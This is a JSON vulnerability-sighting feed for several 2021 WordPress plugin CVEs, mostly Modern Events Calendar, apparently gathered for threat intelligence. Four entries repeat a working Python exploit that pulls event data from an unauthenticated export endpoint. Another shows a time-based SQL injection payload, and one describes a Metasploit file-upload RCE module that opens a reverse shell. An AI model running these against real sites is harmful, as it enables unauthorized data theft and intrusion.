{"vulnerability": "CVE-2021-2414", "sightings": [{"uuid": "86e6b51d-d553-4e50-b131-535257266e20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-24146", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2021/CVE-2021-24146.yaml", "content": "", "creation_timestamp": "2023-04-27T09:58:59.000000Z"}, {"uuid": "19faf131-4bdb-4fae-afdf-e39bd1fe17dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-24145", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2021/CVE-2021-24145.yaml", "content": "", "creation_timestamp": "2023-04-27T09:58:59.000000Z"}, {"uuid": "f3794828-acdb-4bd8-b44c-3374613ee58f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-24145", "type": "seen", "source": "MISP/0cf385cc-3eb1-45c2-8f80-ec6f172474ac", "content": "", "creation_timestamp": "2024-11-14T06:09:21.000000Z"}, {"uuid": "b6a2a63a-f3b5-4c95-98ac-7533b49a8e41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-24145", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:45.000000Z"}, {"uuid": "db8961c8-dee8-4fc8-acf5-f29266d51490", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-24145", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:10:35.000000Z"}, {"uuid": "f8bf35cb-0822-43da-b013-22916386a5a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-24145", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/wp_plugin_modern_events_calendar_rce.rb", "content": "", "creation_timestamp": "2021-07-26T15:11:59.000000Z"}, {"uuid": "81797b20-cc7c-44cc-be2e-8df33a41d88f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-24147", "type": "seen", "source": "https://t.me/arpsyndicate/35", "content": "#ExploitObserverAlert\n\nCVE-2021-24147\n\nDESCRIPTION: Exploit Observer has 2 entries related to CVE-2021-24147. Unvalidated input and lack of output encoding in the Modern Events Calendar Lite WordPress plugin, versions before 5.16.5, did not sanitise the mic_comment field (Notes on time) when adding/editing an event, allowing users with privilege as low as author to add events with a Cross-Site Scripting payload in them, which will be triggered in the frontend when viewing the event.\n\nFIRST-EPSS: 0.000580000\nNVD-IS: 2.7\nNVD-ES: 2.3", "creation_timestamp": "2023-11-09T15:39:01.000000Z"}, {"uuid": "f98bfc5d-2188-479d-92a0-8011e9ce4e43", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-24145", "type": "published-proof-of-concept", "source": "Telegram/eMoVbCeI-n-jaFKeB-W9ZjnKBEe6KGFrv-r960DcFriPRg", "content": "", "creation_timestamp": "2021-07-10T16:29:07.000000Z"}, {"uuid": "d48c3b7f-7ccf-4221-82c7-b4b939a66f1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-24146", "type": "published-proof-of-concept", "source": "Telegram/eMoVbCeI-n-jaFKeB-W9ZjnKBEe6KGFrv-r960DcFriPRg", "content": "", "creation_timestamp": "2021-07-10T16:29:07.000000Z"}, {"uuid": "de083790-e6b6-4020-9536-1ce6bef3d39b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-24149", "type": "seen", "source": "https://t.me/cibsecurity/25107", "content": "\u203c CVE-2021-24149 \u203c\n\nUnvalidated input in the Modern Events Calendar Lite WordPress plugin, versions before 5.16.6, did not sanitise the mec[post_id] POST parameter in the mec_fes_form AJAX action when logged in as an author+, leading to an authenticated SQL Injection issue.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-18T17:32:27.000000Z"}, {"uuid": "d0b0b94b-8312-4a10-9aa0-7b5ae2f309c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-24143", "type": "seen", "source": "https://t.me/cibsecurity/25112", "content": "\u203c CVE-2021-24143 \u203c\n\nUnvalidated input in the AccessPress Social Icons plugin, versions before 1.8.1, did not sanitise its widget attribute, allowing accounts with post permission, such as author, to perform SQL injections.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-18T17:32:35.000000Z"}, {"uuid": "3a9f0f6b-1800-41ad-b698-600de68c7a1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-24146", "type": "seen", "source": "https://t.me/cibsecurity/25110", "content": "\u203c CVE-2021-24146 \u203c\n\nLack of authorisation checks in the Modern Events Calendar Lite WordPress plugin, versions before 5.16.5, did not properly restrict access to the export files, allowing unauthenticated users to exports all events data in CSV or XML format for example.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-18T17:32:30.000000Z"}, {"uuid": "d37036c4-6f0d-49ab-80cd-51db7ece4562", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-24140", "type": "seen", "source": "https://t.me/cibsecurity/25097", "content": "\u203c CVE-2021-24140 \u203c\n\nUnvalidated input in the Ajax Load More WordPress plugin, versions before 5.3.2, lead to SQL Injection in POST /wp-admin/admin-ajax.php with param repeater=' or sleep(5)#&type=test.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-18T17:32:12.000000Z"}, {"uuid": "b7c6af45-bc0e-47db-9dec-7354a89d10d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-24142", "type": "seen", "source": "https://t.me/cibsecurity/25096", "content": "\u203c CVE-2021-24142 \u203c\n\nUnvaludated input in the 301 Redirects - Easy Redirect Manager WordPress plugin, versions before 2.51, did not sanitise its \"Redirect From\" column when importing a CSV file, allowing high privilege users to perform SQL injections.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-18T17:32:11.000000Z"}, {"uuid": "7ed54d8f-a3ea-4102-b6f8-18a388bc1e83", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-24145", "type": "seen", "source": "https://t.me/pwnwiki_zhchannel/738", "content": "CVE-2021-24145 Wordpress Plugin Modern Events Calendar 5.16.2  \u9060\u7a0b\u4ee3\u78bc\u57f7\u884c\u6f0f\u6d1e\nhttps://www.pwnwiki.org/index.php?title=CVE-2021-24145_Wordpress_Plugin_Modern_Events_Calendar_5.16.2_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E", "creation_timestamp": "2021-09-21T04:42:19.000000Z"}, {"uuid": "1aa00c61-0c7d-4cee-86b9-b2b3e677f1f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-24146", "type": "seen", "source": "https://t.me/hacking_Attack/15135", "content": "Exploit Collector\nWordPress Modern Events Calendar 5.16.2 Information Disclosure\n\nhttps://4.bp.blogspot.com/-f53oTn8LDZ0/WWlvMw9CK1I/AAAAAAAAIMU/jEtmPtbvTXsSkP0BJUzx6KZQIUlovIO9gCLcBGAs/s1600/h20.png \nWordPress Modern Events Calendar plugin version 5.16.2 suffers from an issue where unauthenticated parties can export all event data.\n\nMD5 | 6efc8a4724dc0a980761c66c25d05189\n\nDownload\n# Exploit Title: Wordpress Plugin Modern Events Calendar 5.16.2 - Event export (Unauthenticated)\n# Date 01.07.2021\n# Exploit Author: Ron Jost (Hacker5preme)\n# Vendor Homepage: https://webnus.net/modern-events-calendar/\n# Software Link: https://downloads.wordpress.org/plugin/modern-events-calendar-lite.5.16.2.zip\n# Version: Before 5.16.5\n# Tested on: Ubuntu 18.04\n# CVE: CVE-2021-24146\n# CWE: CWE-863, CWE-284\n# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-24146/README.md\n\n'''\nDescription:\nLack of authorisation checks in the Modern Events Calendar Lite WordPress plugin,\nversions before 5.16.5, did not properly restrict access to the export files,\nallowing unauthenticated users to exports all events data in CSV or XML format for example.\n'''\n'''\nBanner:\n'''\nbanner = \"\"\"\n_______    ________    ___   ____ ___  ___     ___  __ __ _____ __  _____\n/ ____/ |  / / ____/   |__ \\ / __ \\__ \\<  /    |__ \\/ // /<  / // / / ___/\n/ /    | | / / __/________/ // / / /_/ // /_______/ / // /_/ / // /_/ __ \\ \n/ /___  | |/ / /__/_____/ __// /_/ / __// /_____/ __/__  __/ /__  __/ /_/ / \n\\____/  |___/_____/    /____/\\____/____/_/     /____/ /_/ /_/  /_/  \\____/ \n\n* WordPress Plugin Modern Events Calendar Lite < 5.16.2 - Export Event Data (Unauthenticated)\n* @Hacker5preme \n\n\"\"\"\nprint(banner)\n'''\nImport required modules:\n'''\nimport requests\nimport argparse\nimport csv\n\n'''\nUser-Input:\n'''\nmy_parser = argparse.ArgumentParser(description='Wordpress Plugin Modern Events CalendarExport Event Data (Unauthenticated)')\nmy_parser.add_argument('-T', '--IP', type=str)\nmy_parser.add_argument('-P', '--PORT', type=str)\nmy_parser.add_argument('-U', '--PATH', type=str)\nargs = my_parser.parse_args()\ntarget_ip = args.IP\ntarget_port = args.PORT\nwp_path = args.PATH\n'''\nExploit:\n'''\nprint('')\nprint('[+] Exported Data: ')\nprint('')\nexploit_url = 'http://' + target_ip + ':' + target_port + wp_path + '/wp-admin/admin.php?page=MEC-ix&tab=MEC-export&mec-ix-action=export-events&format=csv'\nanswer = requests.get(exploit_url)\ndecoded_content = answer.content.decode('utf-8')\ncr = csv.reader(decoded_content.splitlines(), delimiter=',')\nmy_list = list(cr)\nfor row in my_list:\nprint(row)\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:02:34.364226Z"}, {"uuid": "86c982fc-ae84-4cfa-a303-c625c3864509", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-24146", "type": "seen", "source": "https://t.me/hacking_Attack/15135", "content": "Exploit Collector\nWordPress Modern Events Calendar 5.16.2 Information Disclosure\n\nhttps://4.bp.blogspot.com/-f53oTn8LDZ0/WWlvMw9CK1I/AAAAAAAAIMU/jEtmPtbvTXsSkP0BJUzx6KZQIUlovIO9gCLcBGAs/s1600/h20.png \nWordPress Modern Events Calendar plugin version 5.16.2 suffers from an issue where unauthenticated parties can export all event data.\n\nMD5 | 6efc8a4724dc0a980761c66c25d05189\n\nDownload\n# Exploit Title: Wordpress Plugin Modern Events Calendar 5.16.2 - Event export (Unauthenticated)\n# Date 01.07.2021\n# Exploit Author: Ron Jost (Hacker5preme)\n# Vendor Homepage: https://webnus.net/modern-events-calendar/\n# Software Link: https://downloads.wordpress.org/plugin/modern-events-calendar-lite.5.16.2.zip\n# Version: Before 5.16.5\n# Tested on: Ubuntu 18.04\n# CVE: CVE-2021-24146\n# CWE: CWE-863, CWE-284\n# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-24146/README.md\n\n'''\nDescription:\nLack of authorisation checks in the Modern Events Calendar Lite WordPress plugin,\nversions before 5.16.5, did not properly restrict access to the export files,\nallowing unauthenticated users to exports all events data in CSV or XML format for example.\n'''\n'''\nBanner:\n'''\nbanner = \"\"\"\n_______    ________    ___   ____ ___  ___     ___  __ __ _____ __  _____\n/ ____/ |  / / ____/   |__ \\ / __ \\__ \\<  /    |__ \\/ // /<  / // / / ___/\n/ /    | | / / __/________/ // / / /_/ // /_______/ / // /_/ / // /_/ __ \\ \n/ /___  | |/ / /__/_____/ __// /_/ / __// /_____/ __/__  __/ /__  __/ /_/ / \n\\____/  |___/_____/    /____/\\____/____/_/     /____/ /_/ /_/  /_/  \\____/ \n\n* WordPress Plugin Modern Events Calendar Lite < 5.16.2 - Export Event Data (Unauthenticated)\n* @Hacker5preme \n\n\"\"\"\nprint(banner)\n'''\nImport required modules:\n'''\nimport requests\nimport argparse\nimport csv\n\n'''\nUser-Input:\n'''\nmy_parser = argparse.ArgumentParser(description='Wordpress Plugin Modern Events CalendarExport Event Data (Unauthenticated)')\nmy_parser.add_argument('-T', '--IP', type=str)\nmy_parser.add_argument('-P', '--PORT', type=str)\nmy_parser.add_argument('-U', '--PATH', type=str)\nargs = my_parser.parse_args()\ntarget_ip = args.IP\ntarget_port = args.PORT\nwp_path = args.PATH\n'''\nExploit:\n'''\nprint('')\nprint('[+] Exported Data: ')\nprint('')\nexploit_url = 'http://' + target_ip + ':' + target_port + wp_path + '/wp-admin/admin.php?page=MEC-ix&tab=MEC-export&mec-ix-action=export-events&format=csv'\nanswer = requests.get(exploit_url)\ndecoded_content = answer.content.decode('utf-8')\ncr = csv.reader(decoded_content.splitlines(), delimiter=',')\nmy_list = list(cr)\nfor row in my_list:\nprint(row)\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-02T01:03:09.048476Z"}, {"uuid": "db313238-3a41-40fc-aee6-5c8fded642b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-24146", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/15135", "content": "Exploit Collector\nWordPress Modern Events Calendar 5.16.2 Information Disclosure\n\nhttps://4.bp.blogspot.com/-f53oTn8LDZ0/WWlvMw9CK1I/AAAAAAAAIMU/jEtmPtbvTXsSkP0BJUzx6KZQIUlovIO9gCLcBGAs/s1600/h20.png \nWordPress Modern Events Calendar plugin version 5.16.2 suffers from an issue where unauthenticated parties can export all event data.\n\nMD5 | 6efc8a4724dc0a980761c66c25d05189\n\nDownload\n# Exploit Title: Wordpress Plugin Modern Events Calendar 5.16.2 - Event export (Unauthenticated)\n# Date 01.07.2021\n# Exploit Author: Ron Jost (Hacker5preme)\n# Vendor Homepage: https://webnus.net/modern-events-calendar/\n# Software Link: https://downloads.wordpress.org/plugin/modern-events-calendar-lite.5.16.2.zip\n# Version: Before 5.16.5\n# Tested on: Ubuntu 18.04\n# CVE: CVE-2021-24146\n# CWE: CWE-863, CWE-284\n# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-24146/README.md\n\n'''\nDescription:\nLack of authorisation checks in the Modern Events Calendar Lite WordPress plugin,\nversions before 5.16.5, did not properly restrict access to the export files,\nallowing unauthenticated users to exports all events data in CSV or XML format for example.\n'''\n'''\nBanner:\n'''\nbanner = \"\"\"\n_______    ________    ___   ____ ___  ___     ___  __ __ _____ __  _____\n/ ____/ |  / / ____/   |__ \\ / __ \\__ \\<  /    |__ \\/ // /<  / // / / ___/\n/ /    | | / / __/________/ // / / /_/ // /_______/ / // /_/ / // /_/ __ \\ \n/ /___  | |/ / /__/_____/ __// /_/ / __// /_____/ __/__  __/ /__  __/ /_/ / \n\\____/  |___/_____/    /____/\\____/____/_/     /____/ /_/ /_/  /_/  \\____/ \n\n* WordPress Plugin Modern Events Calendar Lite < 5.16.2 - Export Event Data (Unauthenticated)\n* @Hacker5preme \n\n\"\"\"\nprint(banner)\n'''\nImport required modules:\n'''\nimport requests\nimport argparse\nimport csv\n\n'''\nUser-Input:\n'''\nmy_parser = argparse.ArgumentParser(description='Wordpress Plugin Modern Events CalendarExport Event Data (Unauthenticated)')\nmy_parser.add_argument('-T', '--IP', type=str)\nmy_parser.add_argument('-P', '--PORT', type=str)\nmy_parser.add_argument('-U', '--PATH', type=str)\nargs = my_parser.parse_args()\ntarget_ip = args.IP\ntarget_port = args.PORT\nwp_path = args.PATH\n'''\nExploit:\n'''\nprint('')\nprint('[+] Exported Data: ')\nprint('')\nexploit_url = 'http://' + target_ip + ':' + target_port + wp_path + '/wp-admin/admin.php?page=MEC-ix&tab=MEC-export&mec-ix-action=export-events&format=csv'\nanswer = requests.get(exploit_url)\ndecoded_content = answer.content.decode('utf-8')\ncr = csv.reader(decoded_content.splitlines(), delimiter=',')\nmy_list = list(cr)\nfor row in my_list:\nprint(row)\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-08T01:00:04.214588Z"}, {"uuid": "f52974b1-cff5-44e3-a47c-16a7345fb3b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-24145", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/wp_plugin_modern_events_calendar_rce.rb", "content": "{\"aliases\": [], \"arch\": \"php\", \"author\": [\"Nguyen Van Khanh\", \"Ron Jost\", \"Yann Castel (yann.castel \"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": true, \"default_credential\": false, \"description\": \"This module allows an attacker with a privileged Wordpress account to launch a reverse shell\\n          due to an arbitrary file upload vulnerability in Wordpress plugin Modern Events Calendar < 5.16.5.\\n          This is due to an incorrect check of the uploaded file extension.\\n          Indeed, by using `text/csv` content-type in a request, it is possible to upload a .php payload as is is not forbidden by the plugin.\\n          Finally, the uploaded payload can be triggered by a call to `/wp-content/uploads/.php`\", \"disclosure_date\": \"2021-01-29\", \"fullname\": \"exploit/multi/http/wp_plugin_modern_events_calendar_rce\", \"is_install_path\": true, \"mod_time\": \"2021-08-27 17:15:33 +0000\", \"name\": \"Wordpress Plugin Modern Events Calendar - Authenticated Remote Code Execution\", \"needs_cleanup\": true, \"notes\": {\"Reliability\": [\"repeatable-session\"], \"SideEffects\": [\"artifacts-on-disk\", \"ioc-in-logs\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/exploits/multi/http/wp_plugin_modern_events_calendar_rce.rb\", \"platform\": \"PHP\", \"post_auth\": true, \"rank\": 600, \"ref_name\": \"multi/http/wp_plugin_modern_events_calendar_rce\", \"references\": [\"EDB-50115\", \"CVE-2021-24145\", \"CWE-434\"], \"rport\": 80, \"session_types\": false, \"targets\": [\"Wordpress Modern Events Calendar < 5.16.5\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:50:22.303292Z"}, {"uuid": "3de94aa9-f99b-4d43-9381-09d8736d6ba7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-24146", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/15135", "content": "Exploit Collector\nWordPress Modern Events Calendar 5.16.2 Information Disclosure\n\nhttps://4.bp.blogspot.com/-f53oTn8LDZ0/WWlvMw9CK1I/AAAAAAAAIMU/jEtmPtbvTXsSkP0BJUzx6KZQIUlovIO9gCLcBGAs/s1600/h20.png \nWordPress Modern Events Calendar plugin version 5.16.2 suffers from an issue where unauthenticated parties can export all event data.\n\nMD5 | 6efc8a4724dc0a980761c66c25d05189\n\nDownload\n# Exploit Title: Wordpress Plugin Modern Events Calendar 5.16.2 - Event export (Unauthenticated)\n# Date 01.07.2021\n# Exploit Author: Ron Jost (Hacker5preme)\n# Vendor Homepage: https://webnus.net/modern-events-calendar/\n# Software Link: https://downloads.wordpress.org/plugin/modern-events-calendar-lite.5.16.2.zip\n# Version: Before 5.16.5\n# Tested on: Ubuntu 18.04\n# CVE: CVE-2021-24146\n# CWE: CWE-863, CWE-284\n# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-24146/README.md\n\n'''\nDescription:\nLack of authorisation checks in the Modern Events Calendar Lite WordPress plugin,\nversions before 5.16.5, did not properly restrict access to the export files,\nallowing unauthenticated users to exports all events data in CSV or XML format for example.\n'''\n'''\nBanner:\n'''\nbanner = \"\"\"\n_______    ________    ___   ____ ___  ___     ___  __ __ _____ __  _____\n/ ____/ |  / / ____/   |__ \\ / __ \\__ \\<  /    |__ \\/ // /<  / // / / ___/\n/ /    | | / / __/________/ // / / /_/ // /_______/ / // /_/ / // /_/ __ \\ \n/ /___  | |/ / /__/_____/ __// /_/ / __// /_____/ __/__  __/ /__  __/ /_/ / \n\\____/  |___/_____/    /____/\\____/____/_/     /____/ /_/ /_/  /_/  \\____/ \n\n* WordPress Plugin Modern Events Calendar Lite < 5.16.2 - Export Event Data (Unauthenticated)\n* @Hacker5preme \n\n\"\"\"\nprint(banner)\n'''\nImport required modules:\n'''\nimport requests\nimport argparse\nimport csv\n\n'''\nUser-Input:\n'''\nmy_parser = argparse.ArgumentParser(description='Wordpress Plugin Modern Events CalendarExport Event Data (Unauthenticated)')\nmy_parser.add_argument('-T', '--IP', type=str)\nmy_parser.add_argument('-P', '--PORT', type=str)\nmy_parser.add_argument('-U', '--PATH', type=str)\nargs = my_parser.parse_args()\ntarget_ip = args.IP\ntarget_port = args.PORT\nwp_path = args.PATH\n'''\nExploit:\n'''\nprint('')\nprint('[+] Exported Data: ')\nprint('')\nexploit_url = 'http://' + target_ip + ':' + target_port + wp_path + '/wp-admin/admin.php?page=MEC-ix&tab=MEC-export&mec-ix-action=export-events&format=csv'\nanswer = requests.get(exploit_url)\ndecoded_content = answer.content.decode('utf-8')\ncr = csv.reader(decoded_content.splitlines(), delimiter=',')\nmy_list = list(cr)\nfor row in my_list:\nprint(row)\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-09T00:00:47.922950Z"}]}